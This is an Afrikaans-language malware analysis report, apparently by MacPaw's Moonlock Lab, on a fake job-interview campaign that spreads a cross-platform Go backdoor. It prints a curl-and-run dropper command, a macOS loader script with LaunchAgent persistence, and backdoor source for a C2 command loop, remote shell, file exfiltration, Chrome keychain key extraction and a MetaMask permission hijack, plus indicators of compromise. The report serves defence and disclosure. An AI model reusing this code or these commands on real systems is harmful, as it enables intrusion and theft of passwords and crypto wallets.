
Geskryf deur MacPaw se Moonlock Lab Team
'n Deurlopende kuberveldtog is teiken werksoekers met vals onderhoudwebwerwe, wat hulle mislei om 'n kaalbeen maar hoogs effektiewe agterdeur af te laai. Anders as gesofistikeerde wanware wat verduisteringstegnieke gebruik, maak hierdie aanval staat op eenvoud - die lewering van bronkode langs 'n Go-binêre, wat dit kruisplatform maak. Selfs meer kommerwekkend is sy poging om die toestemmings van die kripto-geldeenheid-verwante Chrome-uitbreiding MetaMask te kaap, wat moontlik die slagoffers se beursies dreineer.
Die veldtog bly aktief, met nuwe domeine wat gereeld verskyn om meer slagoffers te lok. Baie individuele sekuriteitsnavorsers en maatskappye, soos
Die Moonlock Lab-span het hierdie presiese wanware op 9 Oktober 2024 begin opspoor, toe die eerste komponente van die agterdeur begin verskyn het. 'n Agterdeur is 'n soort kwaadwillige sagteware wat op 'n stelsel wegkruip en bedreigingakteurs toelaat om opdragte op afstand uit te voer, asof hulle die wettige eienaars van die werkstasie is. Hierdie aanvalle gebruik tipies sogenaamde C2 (Command and Control) bedieners om opdragte te stuur en uit te voer.
Wat hierdie aanval onderskei van ander wat ons tipies waarneem, is dat dit uit veelvuldige stadiums bestaan en ontwerp is om op 'n slagoffer se masjien te volhard eerder as om 'n enkelskoot-data-steelvloei te gebruik. 'n Volledige oorsig van die aanvalstadiums kan in die prent hieronder gesien word.
Die eerste goed gestruktureerde draad op X wat ons opgemerk het, is geplaas deur
' Begin gewoonlik met 'n "werwer" van bekende maatskappy bv Kraken, MEXC, Gemini, Meta. Betaalreekse + boodskapstyl is aantreklik - selfs vir diegene wat nie aktief werk soek nie. Meestal via Linkedin. Ook vryskutwebwerwe, werkwebwerwe, tg, discord, ens.
Om die nuutste weergawe van hierdie wanware te bekom, was dit noodsaaklik om nuwe domeine te monitor wat vals onderhoudwebwerwe huisves. Vir hierdie doel het ons span staatgemaak op twee onveranderlike aanwysers wat hierdie domeine deel:
Alhoewel sommige van die domeine wat tydens hierdie veldtog gebruik word, gesluit word, verskyn die nuwes steeds, met die mees onlangse een steeds aanlyn: smarthiretop[.]aanlyn . Ons span het sedert November 2024 meer as 20 aktiewe domeine opgemerk.
Nadat ons die domeine ondersoek het, het ons ontdek dat sommige van hulle dieselfde IP-adres deel. Dit gebeur dikwels omdat aanvallers koeëlvaste gasheerverskaffers gebruik, wat toelaat dat verskeie domeine op dieselfde bediener gehuisves word. Boonop stel die aanbieding van verskeie domeine op 'n enkele IP bedreigingsakteurs in staat om domeine te roteer sonder om die backend-infrastruktuur te verander.
Hierdie kwaadwillige infrastruktuur word gehuisves op verskeie dienste wat wêreldwyd versprei word. Soos op die kaart hieronder getoon, is die meeste bedieners in die VSA geleë, met sommige versprei oor ander lande.
Die kwaadwillige opdrag wat die ondervraers gevra is om uit te voer, versteek in die venster wat verskyn wanneer hulle 'n kwaadwillige webwerf besoek. Dit is 'n JS-kode, in hierdie geval in die hoof.39e5a388.js -lêer gebundel. Sulke lêername word tipies gegenereer met behulp van 'n hashing- of vingerafdrukmeganisme tydens die bouproses van 'n webtoepassing (Verwysing:
Een van die bladsye het hierdie ingebedde JS-lêer met die volgende SHA256-hash:
Ons kon maklik sien dat binne 'n geboude JS-lêer dieselfde opdragte is wat slagoffers gevra is om in te voer:
Nadat ons verstaan het hoe die bedreigingakteur die wanware versprei, was ons primêre doelwit om vinnig monsters te vind en handtekeninge vir ons gebruikers te ontwikkel. Die eerste direkte melding van "produksie-gereed" monsters en hul SHA-256 hashes wat ons gevind het, was in hierdie draad:
Dit het vyf hashes ingesluit, naamlik vir:
Daarbenewens het ons span kwaadwillige skrifte begin haal asof ons mislei is om dit af te laai, soortgelyk aan die slagoffers. Op 'n stadium is die volgende opdrag op vals onderhoudwebwerwe gebruik:
Opdrag vanaf die skermkiekie (moenie uitvoer nie!):
sudo sh -c 'curl -k -o /var/tmp/ffmpeg.sh https://api.nvidia-release.org/ffmpeg-ar.sh && chmod +x /var/tmp/ffmpeg.sh && nohup bash /var/tmp/ffmpeg.sh >/dev/null 2>&1 &'
Dit voer die aksies uit wat hieronder gelys word:
Binne die ffmpeg.sh-lêer wat in 'n tydelike gids gestoor is, kan ons die toegangspunt vir hierdie aanval vind, wat insluit:
Soos ons kan sien uit die skrif hieronder, is dit spesifiek ontwerp vir macOS, beide Intel en ARM variasies. Nadat dit die huidige SVE-model gedefinieer het, laai dit 'n zip-argief met veelvuldige lêers af. Meer gedetailleerde oorsig van hierdie skrif kan gevind word by
#!/bin/bash # Define variables for URLs ZIP_URL_ARM64="https://api.nvidia-cloud.online/VCam1.update" ZIP_URL_INTEL="https://api.nvidia-cloud.online/VCam2.update" ZIP_FILE="/var/tmp/VCam.zip" # Path to save the downloaded ZIP file WORK_DIR="/var/tmp/VCam" # Temporary directory for extracted files EXECUTABLE="vcamservice.sh" # Replace with the name of the executable file inside the ZIP APP="ChromeUpdateAlert.app" # Replace with the name of the app to open PLIST_FILE=~/Library/LaunchAgents/com.vcam.plist # Path to the plist file # Determine CPU architecture case $(uname -m) in arm64) ZIP_URL=$ZIP_URL_ARM64 ;; x86_64) ZIP_URL=$ZIP_URL_INTEL ;; *) exit 1 ;; # Exit for unsupported architectures esac # Create working directory mkdir -p "$WORK_DIR" # Function to clean up cleanup() { rm -rf "$ZIP_FILE" } # Download, unzip, and execute if curl -s -o "$ZIP_FILE" "$ZIP_URL" && [[ -f "$ZIP_FILE" ]]; then unzip -o -qq "$ZIP_FILE" -d "$WORK_DIR" if [[ -f "$WORK_DIR/$EXECUTABLE" ]]; then chmod +x "$WORK_DIR/$EXECUTABLE" else cleanup exit 1 fi else cleanup exit 1 fi # Step 4: Register the service mkdir -p ~/Library/LaunchAgents cat > "$PLIST_FILE" <<EOL <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>Label</key> <string>com.vcam</string> <key>ProgramArguments</key> <array> <string>$WORK_DIR/$EXECUTABLE</string> </array> <key>RunAtLoad</key> <true/> <key>KeepAlive</key> <false/> </dict> </plist> EOL chmod 644 "$PLIST_FILE" if ! launchctl list | grep -q "com.vcam"; then launchctl load "$PLIST_FILE" fi # Step 5: Run ChromeUpdateAlert.app if [[ -d "$WORK_DIR/$APP" ]]; then open "$WORK_DIR/$APP" & fi # Final cleanup cleanup
Verwysing:
Inhoud van die argief (weergawe vir Intel CPU) wat die skrip haal, word hieronder gelys:
Al die lêers in die argief kan in 'n paar groepe gekategoriseer word:
Interessant genoeg is die argief ongeveer 75 MB groot, hoofsaaklik omdat dit baie dele van wettige Go-biblioteke en binaries insluit.
Een van die lêers wat ons gesien het wat vir 'n lang tydperk in hierdie aanval gebruik is, is 'n Mach-O universele binêre met 2 argitekture, genaamd CameraAccess ( SHA256: 3c4becde20e618efb209f97581e9ab6bf00cbd63f51f4ebd39526c 7e).
Dit doen hul voor as 'n Google Chrome-ikoon, wat gereelde gebruikers laat glo dat die lêer wettig is en verhoed dat hulle dit uitvee.
Die kode is in Swift geskryf, en geen sterk verduisteringstegnieke is opgespoor nie, wat dit relatief maklik maak om die uitvoeringsvloei te verstaan.
Dit vertoon 'n venster wat lyk soos 'n stelselkennisgewingvenster, wat die gebruiker vra om mikrofoontoegang te verleen, wat vermoedelik van Google Chrome-toepassing versoek is.
Selfs as die gebruiker "Herinner my later" kies, verskyn 'n wagwoordvragvenster steeds.
Die toepassing beweer dat dit mikrofoontoegang vereis; dit is egter 'n sandbox, en geen werklike toestemmingversoek word vir die mikrofoon gedoen nie.
Nadat die gebruiker hul wagwoord ingevoer het, versoek die wanware die eksterne IP-adres van die gasheer waarop dit loop. Dit stuur dan die password.txt-lêer na 'n Dropbox-lêergids wat na die gebruiker se eksterne IP-adres vernoem is.
Op die skermkiekie hieronder kan die Dropbox API-URL gesien word.
Terwyl ons die netwerkverkeer ondersoek, kon ons pogings sien om die publieke IP-adres van 'n slagoffer op te spoor.
Nadat die IP-adres ontvang is, kon ons versoeke aan Dropbox sien om IP-wagwoordpaar op te laai met behulp van hardgekodeerde geloofsbriewe.
Ons span het hierdie voorval by Dropbox aangemeld, saam met die geloofsbriewe wat gebruik is om hierdie beledigende veldtog te voer.
Dit is belangrik om daarop te let dat die zip-lêer wat deur die ffmpeg.sh-skrip afgelaai is, die gewone teksbronkode van die agterdeur bevat, wat beteken dat dit nie vooraf saamgestel of verduister is nie. Dit het die ontleding aansienlik bespoedig, maar het ook vrae oor behoorlike toeskrywing laat ontstaan. Nodeloos om te sê, APT-groepe uit die DVK is tipies baie meer gesofistikeerd.
Nog 'n ongewone strategie is die insluiting van 'n Go-binêr ( /bin/go ) in die argief in plaas daarvan om bloot die volledige kode saam te stel. Aangesien Go egter nie die verstektoepassing op baie bedryfstelsels is nie, het die bedreigingsakteurs dit moontlik ingesluit vir beter versoenbaarheid. Dit maak sin, aangesien die malware kruisplatform is en terselfdertyd macOS, Linux en Windows teiken.
'n Grafiek wat verbande en gedetailleerde beskrywing van elke noemenswaardige monster illustreer, kan hier gevind word:
Binne die argief is daar 'n skrif genaamd vcamupdate.sh . Dit loop onmiddellik nadat dit uitgepak is en voer eenvoudig /bin/go uit (wat in die zip gebundel is) terwyl die pad na die hoof Golang-toepassing deurgee ( app.go in hierdie geval).
#!/bin/bash # Set the working directory to the folder where this script is located cd "$(dirname "$0")" echo "Installing Dependencies..." project_file="app.go" ./bin/go run "$project_file" exit 0
Die toegangstoepassing ( app.go ) is verantwoordelik om 'n unieke UUID vir die gebruiker se werkstasie te genereer, die C2 URL te inisialiseer en die hooflus te begin. In die kode kan ons enkelreëlopmerkings, afdrukke van ondersteunende boodskappe en 'n paar kode wat kommentaar lewer, sien. Dit bevat ook URL's wat waarskynlik bedoel is vir toetsing, vergeet om deur die ontwikkelaars verwyder te word. Ten spyte daarvan dat die C2 IP-adres in die hoofveldtog verskil, het monsters van 2024 dieselfde funksionaliteit gedeel en dieselfde data geteiken.
Later bring die oproep na core.StartMainLoop(id, url) ons by die kern/ lêergids met loop.go en work.go lêers. Die loop.go -lêer is hoofsaaklik verantwoordelik vir die ontvang en uitvoer van opdragte vanaf C2, die oproep van submodules wat sensitiewe data versamel, en die oplaai daarvan na die afgeleë bediener. Dit bevat baie funksies, waarvan 8 ons graag in meer besonderhede wil uitlig en verken.
Hierdie funksie gebruik die config-submodule om beskikbare opdragte te inisialiseer en na inkomendes te luister. Hieronder kan jy 'n tabel vind met al die opdragte saam met hul ooreenstemmende kodes. 'N Meer gedetailleerde ontleding van die agterdeur-funksionaliteit kan gevind word in
Opdrag Naam | Gekodeerde naam | Beskrywing |
---|---|---|
COMMAND_INFO | qwer | Kry gebruikersnaam, gasheer, OS, arch |
COMMAND_UPLOAD | asdf | Laai en dekomprimeer arbitrêre argief van C2 na gasheer |
COMMAND_DOWNLOAD | zxcv | Laai gesteelde data af na C2 |
COMMAND_OSSHELL | vbcx | Inisialiseer interaktiewe dop tussen gasheer en C2 (voer arbitrêre afstandbevele uit) |
COMMAND_AUTO | r4ys | Versamel sensitiewe data outomaties |
COMMAND_WAIT | ghdj | Wag vir X sekondes |
COMMAND_EXIT | dghh | Verlaat hooflus (stel lewendig=vals) |
Op grond van die opdrag wat van C2 ontvang is, sal 'n toepaslike funksie geroep word.
func StartMainLoop(id string, url string) { var ( msg_type string msg_data [][]byte msg string cmd string cmd_type string cmd_data [][]byte alive bool ) // initialize cmd_type = config.COMMAND_INFO alive = true for alive { func() { // recover panic state defer func() { if r := recover(); r != nil { cmd_type = config.COMMAND_INFO time.Sleep(config.DURATION_ERROR_WAIT) } }() switch cmd_type { case config.COMMAND_INFO: msg_type, msg_data = processInfo() case config.COMMAND_UPLOAD: msg_type, msg_data = processUpload(cmd_data) case config.COMMAND_DOWNLOAD: msg_type, msg_data = processDownload(cmd_data) case config.COMMAND_OSSHELL: msg_type, msg_data = processOsShell(cmd_data) case config.COMMAND_AUTO: msg_type, msg_data = processAuto(cmd_data) case config.COMMAND_WAIT: msg_type, msg_data = processWait(cmd_data) case config.COMMAND_EXIT: alive = false msg_type, msg_data = processExit() default: panic("problem") } msg = command.MakeMsg(id, msg_type, msg_data) cmd, _ = transport.HtxpExchange(url, msg) cmd_type, cmd_data = command.DecodeMsg(cmd) }() } }
Hierdie funksie sal basiese stelselinligting insamel soos gebruikersnaam, gasheernaam, OS-weergawe en argitektuur. Dit is die moeite werd om daarop te let dat die meeste van die gewilde inligtingstelers baie meer stelselinligting versamel as hierdie wanware.
func processInfo() (string, [][]byte) { user, _ := user.Current() host, _ := os.Hostname() os := runtime.GOOS arch := runtime.GOARCH print("user: " + user.Username + ", host: " + host + ", os: " + os + ", arch: " + arch + "\n") data := [][]byte{ []byte(user.Username), []byte(host), []byte(os), []byte(arch), []byte(config.DAEMON_VERSION), } return config.MSG_INFO, data }
In hierdie geval verteenwoordig oplaai die proses om 'n argieflêer vanaf die C2 na die besmette gasheer te stuur, gevolg deur die dekompressie daarvan. Dit dui ook aan of die dekompressie suksesvol was.
func processUpload(data [][]byte) (string, [][]byte) { var log string var state string path := string(data[0]) buf := bytes.NewBuffer(data[1]) err := util.Decompress(buf, path) if err == nil { log = fmt.Sprintf("%s : %d", path, len(data[1])) state = config.LOG_SUCCESS } else { log = fmt.Sprintf("%s : %s", path, err.Error()) state = config.LOG_FAIL } return config.MSG_LOG, [][]byte{ []byte(state), []byte(log), } }
Hierdie funksie is die omgekeerde van die vorige een. Dit voer saampersing uit van 'n gids met lêers wat vooraf in tar.gz-argief versamel is.
func processDownload(data [][]byte) (string, [][]byte) { var file_data []byte var err error path := string(data[0]) _, file := filepath.Split(path) info, _ := os.Stat(path) if info.IsDir() { var buf bytes.Buffer err = util.Compress(&buf, []string{path}, false) file = fmt.Sprintf("%s.tar.gz", file) file_data = buf.Bytes() } else { file_data, err = os.ReadFile(path) } if err == nil { return config.MSG_FILE, [][]byte{[]byte(config.LOG_SUCCESS), []byte(file), file_data} } else { return config.MSG_FILE, [][]byte{[]byte(config.LOG_FAIL), []byte(err.Error())} } }
Dit is 'n funksie wat 'n ware agterdeur moet hê. Dit wag op arbitrêre opdrag en pogings om dit uit te voer. 'n Opdrag kan opdragreëlargumente hê, en die uitvoer sal direk na 'n C2 aangeteken word.
func processOsShell(data [][]byte) (string, [][]byte) { mode := string(data[0]) // mode timeout, _ := strconv.ParseInt(string(data[1]), 16, 64) shell := string(data[2]) args := make([]string, len(data[3:])) for index, elem := range data[3:] { args[index] = string(elem) } if mode == config.SHELL_MODE_WAITGETOUT { // wait and get result mode ctx, cancel := context.WithTimeout(context.Background(), time.Duration(timeout)) defer cancel() cmd := exec.CommandContext(ctx, shell, args...) out, err := cmd.Output() if err != nil { return config.MSG_LOG, [][]byte{ []byte(config.LOG_FAIL), []byte(err.Error()), } } else { return config.MSG_LOG, [][]byte{ []byte(config.LOG_SUCCESS), out, } } } else { // start and detach mode c := exec.Command(shell, args...) err := c.Start() if err != nil { return config.MSG_LOG, [][]byte{ []byte(config.LOG_FAIL), []byte(err.Error()), } } else { return config.MSG_LOG, [][]byte{ []byte(config.LOG_SUCCESS), []byte(fmt.Sprintf("%s %s", shell, strings.Join(args, " "))), } } } }
Dit is die ingangspunt van die steelvloei. Hierdie funksie bevat veelvuldige oproepe na die lêers wat in outo/vouer geleë is. Dit sluit grypers, verwerkers of wysigers van die volgende data in:
func processAuto(data [][]byte) (string, [][]byte) { var ( msg_type string msg_data [][]byte ) mode := string(data[0]) switch mode { case config.AUTO_CHROME_GATHER: msg_type, msg_data = auto.AutoModeChromeGather() case config.AUTO_CHROME_PREFRST: msg_type, msg_data = auto.AutoModeChromeChangeProfile() case config.AUTO_CHROME_COOKIE: msg_type, msg_data = auto.AutoModeChromeCookie() case config.AUTO_CHROME_KEYCHAIN: msg_type, msg_data = auto.AutoModeMacChromeLoginData() default: msg_type = config.MSG_LOG msg_data = [][]byte{[]byte(config.LOG_FAIL), []byte("unknown auto mode")} } return msg_type, msg_data }
Nutsfunksie wat gebruik word om die agterdeur in die slaapmodus te stuur, in afwagting van verdere opdragte.
func processWait(data [][]byte) (string, [][]byte) { duration, _ := strconv.ParseInt(string(data[0]), 16, 64) time.Sleep(time.Duration(duration)) send_data := make([]byte, 128) rand.Read(send_data) return config.MSG_PING, [][]byte{send_data} }
Dit is 'n nutsfunksie wat gebruik word om die hooflus van kommunikasie met die C2 te verlaat.
func processExit() (string, [][]byte) { return config.MSG_LOG, [][]byte{ []byte(config.LOG_SUCCESS), []byte("exited"), } }
Die outo/ vouer bevat 'n stel Go-apps:
basiese.gaan
const ( userdata_dir_win = "AppData\\Local\\Google\\Chrome\\User Data\\" userdata_dir_darwin = "Library/Application Support/Google/Chrome/" userdata_dir_linux = ".config/google-chrome" extension_dir = "nkbihfbeogaeaoehlefnkodbefgpgknn" extension_hash_key = "protection.macs.extensions.settings.nkbihfbeogaeaoehlefnkodbefgpgknn" extension_setting_key = "extensions.settings.nkbihfbeogaeaoehlefnkodbefgpgknn" secure_preference_file = "Secure Preferences" logins_data_file = "Login Data" keychain_dir_darwin = "Library/Keychains/login.keychain-db" )
chrome_change_pref.go
// get json string func getExtJsonString() string { return `{"active_permissions":{"api": ["activeTab","clipboardWrite","notifications","storage","unlimitedStorage","webRequest"], "explicit_host":["*://*.eth/*","http://localhost:8545/*","https://*.codefi.network/*","https://*.cx.metamask.io/*","https://*.infura.io/*","https://chainid.network/*","https://lattice.gridplus.io/*"], "manifest_permissions":[], "scriptable_host":["*://connect.trezor.io/*/popup.html","file:///*","http://*/*","https://*/*"]}, "commands":{"_execute_browser_action":{"suggested_key":"Alt+Shift+M","was_assigned":true}},"content_settings":[], "creation_flags":38,"events":[],"first_install_time":"13361518520188298","from_webstore":false, "granted_permissions":{"api":["activeTab","clipboardWrite","notifications","storage","unlimitedStorage","webRequest"], "explicit_host":["*://*.eth/*","http://localhost:8545/*","https://*.codefi.network/*","https://*.cx.metamask.io/*","https://*.infura.io/*","https://chainid.network/*","https://lattice.gridplus.io/*"], "manifest_permissions":[],"scriptable_host":["*://connect.trezor.io/*/popup.html","file:///*","http://*/*","https://*/*"]},"incognito_content_settings":[], "incognito_preferences":{},"last_update_time":"13361518520188298","location":4,"newAllowFileAccess":true,"path":"C:\\ProgramData\\11.16.0_0","preferences":{}, "regular_only_preferences":{},"state":1,"was_installed_by_default":false,"was_installed_by_oem":false,"withholding_permissions":false}` }
// chrome kill if runtime.GOOS == "windows" { cmd := exec.Command("cmd", "/c", "taskkill /f /im chrome.exe") cmd.Run() } else { cmd := exec.Command("/bin/sh", "-c", "killall chrome") cmd.Run() }
chrome_cookie_darwin.go
var ( SALT = "saltysalt" ITERATIONS = 1003 KEYLENGTH = 16 ) func getDerivedKey() ([]byte, error) { out, err := exec.Command( `/usr/bin/security`, `find-generic-password`, `-s`, `Chrome Safe Storage`, `-wa`, `Chrome`, ).Output() if err != nil { return nil, err } temp := []byte(strings.TrimSpace(string(out))) chromeSecret := temp[:len(temp)-1] if chromeSecret == nil { return nil, errors.New("Can not get keychain") } var chromeSalt = []byte("saltysalt") // @https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_mac.mm;l=157 key := pbkdf2.Key(chromeSecret, chromeSalt, 1003, 16, sha1.New) return key, nil }
chrome_cookie_other.go
chrome_cookie_win.go
chrome_gather.go
func AutoModeChromeGather() (string, [][]byte) { print("=========== AutoModeChromeGather ===========", runtime.GOOS, "\n") var ( buf bytes.Buffer userdata_dir string path_list []string ) // gather userdata_dir = getUserdataDir() // file system search _ = filepath.Walk(userdata_dir, func(path string, info os.FileInfo, err error) error { if info.Name() == extension_dir && strings.Contains(path, "Local Extension Settings") { path_list = append(path_list, path) } return nil }) _ = util.Compress(&buf, path_list, true) print("=========== End ===========\n") // return data := make([][]byte, 3) data[0] = []byte(config.LOG_SUCCESS) data[1] = []byte("gather.tar.gz") data[2] = buf.Bytes() msg_type := config.MSG_FILE return msg_type, data
Om ons ontleding af te sluit, moet ons die belangrikste punte uitlig:
app.blockchain-checkup[.]com app.hiring-interview[.]com app.quickvidintro[.]com app.skill-share[.]org app.vidintroexam[.]com app.willo-interview[.]us app.willohiringtalent[.]org app.willorecruit[.]com app.willotalent[.]pro app.willotalentes[.]com app.willotalents[.]org blockchain-assess[.]com digitpotalent[.]com digitptalent[.]com fundcandidates[.]com hiringinterview[.]org hiringtalent[.]pro interviewnest[.]org smarthiretop[.]online talentcompetency[.]com topinnomastertech[.]com web.videoscreening[.]org willoassess[.]com willoassess[.]net willoassess[.]org willoassessment[.]com willocandidate[.]com willointerview[.]com willomexcvip[.]us winterviews[.]net winyourrole[.]com wtalents[.]in wtalents[.]us wholecryptoloom[.]com
b72653bf747b962c67a5999afbc1d9156e1758e4ad959412ed7385abaedb21b6 60ec2dbe8cfacdff1d4eb093032b0307e52cc68feb1f67487d9f401017c3edd7 5df555b868c08eed8fea2c5f1bc82c5972f2dd69159b2fdb6a8b40ab6d7a1830 3c4becde20e618efb209f97581e9ab6bf00cbd63f51f4ebd5677e352c57e992a 3210d821e12600eac1b9887860f4e63923f624643bc3c50b3600352166e66bfe b2a4a981ba7cc2add74737957efdfcbd123922653e3bb109aa7e88d70796a340 3697852e593cec371245f6a7aaa388176e514b3e63813fdb136a0301969291ea 0a49f0a8d0b1e856b7d109229dfee79212c10881dcc4011b98fe69fc28100182
hxxp://216.74.123.191:8080 hxxp://95.169.180.146:8080